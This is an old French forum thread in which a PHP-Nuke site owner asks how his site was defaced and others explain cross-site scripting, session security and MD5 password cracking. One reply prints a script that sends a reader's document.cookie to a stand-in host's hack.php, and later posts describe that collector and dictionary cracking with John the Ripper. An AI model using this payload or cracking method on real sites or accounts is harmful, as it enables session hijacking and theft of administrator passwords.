Il tourne sous nuke5.6 (je sais c pas top)
 
Ou est la faille, comment le sécuriser,
 
j'ai remarqué que le pirate s'attaquait juste au index.php ou index.htm; il est gentil ou il ne peux pas tout éffacer?
 
Merci bcp

Le lien ... ça serait mieux si tu veux qu'on t'aide ...

  dcarena.free.fr j'avais oublié

google : http://www.hideaway.net/home/publi [...] 5141113688
 

 
genre il t'envoie un message privé avec
<script>
document.write('<img scr="http://monsite.com/hack.php?pwd='+document.cookie+'">';
</script>
et il récupère le password admin
 
détails sur le cross scripting : http://www.ifrance.com/kitetoua/tuto/css.txt
http://www.cgisecurity.net/articles/xss-faq.shtml
 
correctif : http://www.phpnuke.org/modules.php [...] e&sid=4603

le seul problème c'est que je vois pas ou t'envoyer des messages privés  

Je pensais pas que c'était faisable ça.
Comme quoi, c'est dangeureux de permettre le stocjkage de message au format html et de stocker un mot de passe dans un cookie.

Tout est dangereux si c'est codé avec les pieds. Et phpnuke est codé avec les pieds...
 
--  
lomba

la solution a ce genre de problème est tout simplement de stocké le mot de passe crypté dans le cookie...

Ca veut dire que je code pas avec les pieds alors.
Enfin, j'espères ne pas coder avec les pieds. (je permets pas l'html  dans les messages et à aucun moment, je ne stockes les mots de passe ailleur que dans la table user et même là il est codé).
En plus, tant qu'on est pas identifié, toutes les pages d'administrations sont vérouillé.
Je penses que ca limite pas mal les risques tout ça.

 
En fait non, parceque si tu rechoppe le mot de passe crypté, tu te crée directement le cookie dans le navigateur avec les bonnes informations à la main.

Même, s'il t'as le mot de passe cripté dans le cookie, il sufit de récupérer les valeurs contenu dans le cookie pour faire sauté l'intérêt du criptage. (soit tu l'utilise et à ce moment là, il a plus besoin de conaitre le vrai mot de passe, soit tu l'utilises pas et le fait de l'avoir sous forme codé dans le cookie donne une chance de pouvoir le décoder et c'est donc un risque de trous de sécurité)

Merci j'ai mis a jour phpnuke, on verra si ca le refait.
 
Merci encore

ah oué, chui bête... (mais bon, le fait d'avoir que le mot de pass crypté, ça peut ralentir pas mal si il faut le pass pour valider certaines choses...)
ben euh, fo utiliser des cookies de session ou les sessions...

Mr_Peer a écrit a écrit : ah oué, chui bête... (mais bon, le fait d'avoir que le mot de pass crypté, ça peut ralentir pas mal si il faut le pass pour valider certaines choses...) ben euh, fo utiliser des cookies de session ou les sessions...

Ou ce faire son propre système de sessions.
Si c'est bien fait, il y a pas trop de risque.

bha je pense pas tu sais.
trouver un décodeur de md5 (brute force) doit pas être très dur.
 
moi j'utilise les sessions + ip, histoire que même si tu récupères le num de sessions, tu ne saches rien en faire...
il n'y a que dans le cas d'une session illimitée que je ne prends pas en compte l'ip (les ips fixes sont rares...)
(cette version n'est pas encore online...)

omega2 a écrit a écrit : Ou ce faire son propre système de sessions. Si c'est bien fait, il y a pas trop de risque.

voui
le mieux c'est de tout faire soit même si on peut...
comme ça, on est sur de ce qu'on fait... et si on fait une connerie, ben on ne peut s'en prendre qu'à soit même
et on évite de se faire hacker pour des failles connues...

j'ai jamais cherché...
 
mais moi aussi j'utilise session et ip...
en plus, c'est bien pratique quand les cookies sont refusés par le client...

 
clair ça !
sinon n'importe qui utilise la session d'un autre s'il fait un copier/coller

ethernal a écrit a écrit :   clair ça ! sinon n'importe qui utilise la session d'un autre s'il fait un copier/coller

il me semble que j'avais essayé une fois...
et le systeme de session php4 ne permet pas de récupérer la session d'un autre...
il faudrait que je réessaye pour voir...

ben moi j'utilise les sessions de php4...
et ça marche super bien...

moi aussi mon porpre système de session (numéro de session + IP).
Je comptes aussi y rajouter un code à n caractères aléatoires pour qu'il soit encore plus compliqué de réussir à piquer la session d'un autre.
pour info, een fait, j'ai deux système de session pour mon site, un pour le chat et un pour le reste.
Celui pour le chat est vailde 15 minutes renouvelable constamment (utile pour sortir de la liste présente ceux qui se sont barés sans se déconecter) et l'autre (pour le reste du site, vu que j'ai pas besoin de savoir qui y est en ligne) est limité à 8 heures sans possibilité de la renouveller.

Mais ca veut dire qu'avec le Cross Site Scripting, on peut créer une page web et un internaute moyen qui tombe dessus peut se faire récupérer ses cookies aussi facilement ????
Dsl, je suis debutant.
Si oui, que faut il mettre sur la page ?
et comment s'en protéger (ne pas accepter les cookies ?)

ben là, on parle d'un probleme qui arrive lorsque dans le site il y a un systeme de formulaire qui permet au visiteur d'intéragir avec le site...
si le html est accepté dans le formulaire laors tu peux t insérer n'importe quoi, comme par exemple un code javascript qui va rammasser un cookie...
si tu refuses le html dans le formulaire (et qu'à la place tu utilises les bbcodes) alors pas de problèmes de ce genre...

Ok mais si un formulaire accepte le html, si on marque qqch du comme cité plus haut (avec +document cookies), on recupere des cookies?
mais a qui?
à la ou les personnes qui liront le message (si c'est un forum) et qui executeront le script?

oui, le cookie de celui qui va executer le script en lisant le message...

mais alors donc, pas besoin d'un forum, juste une page sur un site internet suffirait ?
Encore faut il que la personne ose aller sur le site.

Par contre, que contient le fichier hack.php?
 

Hein?
on met quoi dans ce fichier hack.php ?

Un décodeur MD5 ??? C'est un algorithme de hash ! A mon humble avis, un tel décodeur n'existe pas.

et ... pour répondre à ma question      
Parce que je vais essayer de récupéré mes propres cookies lol

C'est vrai que le terme 'décodeur' était mal choisi mais il avait bien précisé bruteforce derrière donc no malaiz

Badgone69 a écrit a écrit : et ... pour répondre à ma question       Parce que je vais essayer de récupéré mes propres cookies lol

Réfléchis un peu, c'est vraiment basique à faire..

Badgone69 a écrit a écrit : Hein? on met quoi dans ce fichier hack.php ?

bha simplement du code qui stocke le password reçu, ou qui l'envoie par mail à l'adresse de ton choix, enfin... tu vois quoi.

*syl* a écrit a écrit : C'est vrai que le terme 'décodeur' était mal choisi mais il avait bien précisé bruteforce derrière donc no malaiz

Ouais, no malaizzzz...

Pour le "decodeur" md5 brute force, c'est facile, on appelle ca un codeur md5
 
Il suffit juste de tester avec les mots d'un dictionaire et si le mot de passe est faible, hop !
 
Bien sur, avec un mot de passe fort, tu peux rendre visible comme t u veux le code md5 du mot de passe et tu sera quand même tranquille.
 
Sinon, utilisez mozilla/phoenix et cochés la case pour interdire au javascript de manipuler les cookies et comme ca vous être tranquilles. Normallement, un site ne doit pas pouvoir voir les cookies d'un autre site autrement.
 
PS: John the Ripper pour les intimes.

effectivement, un site ne peut pas lire les cookies d'un autre site... mais là, le site où il y a le fichier hack.php n'a bas besoin de lire le cookie... on lui passe le contenu en argument...

Pour info il a fallut 5 ans pour décodé une chaine MD5, avec plusieurs ordinateurs

ouai attends... elle était longue ta chaine ???
pcq décoder une chaine de 5-6 caractères tu ne dois pas mettre  plus d'1 heure.
 
je me souviens qu'à l'école on avait trouvé des passwords win98 (en md5) sur des machines du réseau (des profs qui s'étaient connectés), on a pris l0phtcrak (ou un truc du style) et en moins de 2 heures on avait son password (5 caractères si je me souviens bien).  La machine était un Pentium 200...

le password etait le prenom du mec non ?

Ca doit dépendre du mot de passe aussi.
Certain programmes commence par vérifier les mots de passe aprmis un dictionnaire et cherche ensuite à la manière brute et dure (test de toutes les possibilité).
Si tu tombes dans le dico, tu peux dire bingo, sinon, t'en as pour perpète.